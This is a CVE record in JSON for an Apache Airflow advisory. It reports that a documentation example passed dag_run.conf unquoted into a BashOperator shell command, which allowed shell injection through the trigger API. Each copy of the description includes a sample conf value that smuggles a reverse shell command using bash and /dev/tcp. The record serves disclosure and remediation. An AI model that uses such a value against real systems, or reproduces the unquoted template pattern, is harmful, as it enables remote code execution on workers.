{"dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": {"cveId": "CVE-2026-42252", "assignerOrgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09", "state": "PUBLISHED", "assignerShortName": "apache", "dateReserved": "2026-04-25T18:49:46.124Z", "datePublished": "2026-06-01T07:51:19.018Z", "dateUpdated": "2026-06-01T07:51:19.018Z"}, "containers": {"cna": {"affected": [{"collectionURL": "https://pypi.python.org", "defaultStatus": "unaffected", "packageName": "apache-airflow", "product": "Apache Airflow", "vendor": "Apache Software Foundation", "versions": [{"lessThan": "3.2.2", "status": "affected", "version": "3.0.0", "versionType": "semver"}]}], "credits": [{"lang": "en", "type": "finder", "value": "anonymous"}, {"lang": "en", "type": "remediation developer", "value": "Kevin Yang (sjyangkevin)"}], "descriptions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release."}], "value": "Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release."}], "metrics": [{"other": {"content": {"text": "low"}, "type": "Textual description of severity"}}], "problemTypes": [{"descriptions": [{"cweId": "CWE-1336", "description": "CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"orgId": "f0158376-9dc2-43b6-827c-5f631a4d8d09", "shortName": "apache", "dateUpdated": "2026-06-01T07:51:19.018Z"}, "references": [{"tags": ["patch"], "url": "https://github.com/apache/airflow/pull/64129"}, {"tags": ["vendor-advisory"], "url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"}], "source": {"discovery": "UNKNOWN"}, "title": "Apache Airflow: BashOperator Jinja2 injection via dag_run.conf \u2014 low-privilege user pattern", "x_generator": {"engine": "airflow-s/generate_cve_json.py"}}}}

{}

{"cveTags": [], "descriptions": [{"lang": "en", "value": "Apache Airflow's official documentation at `core-concepts/dag-run.html` (\"Passing Parameters when triggering Dags\") showed a verbatim `BashOperator(bash_command=\"echo value: {{ dag_run.conf['conf1'] }}\")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `\"; bash -i >& /dev/tcp/.../9999 0>&1; #\"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 \u2014 the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to `apache-airflow` 3.2.2 or later to pick up the corrected documentation shipped with the release."}], "id": "CVE-2026-42252", "lastModified": "2026-06-01T09:16:18.560", "metrics": {}, "published": "2026-06-01T09:16:18.560", "references": [{"source": "security@apache.org", "url": "https://github.com/apache/airflow/pull/64129"}, {"source": "security@apache.org", "url": "https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7"}], "sourceIdentifier": "security@apache.org", "vulnStatus": "Received", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-1336"}], "source": "security@apache.org", "type": "Primary"}]}

{}

{"created": "2026-06-01T11:00:08.588747+00:00", "updated": "2026-06-01T11:00:08.588765+00:00", "vendors": []}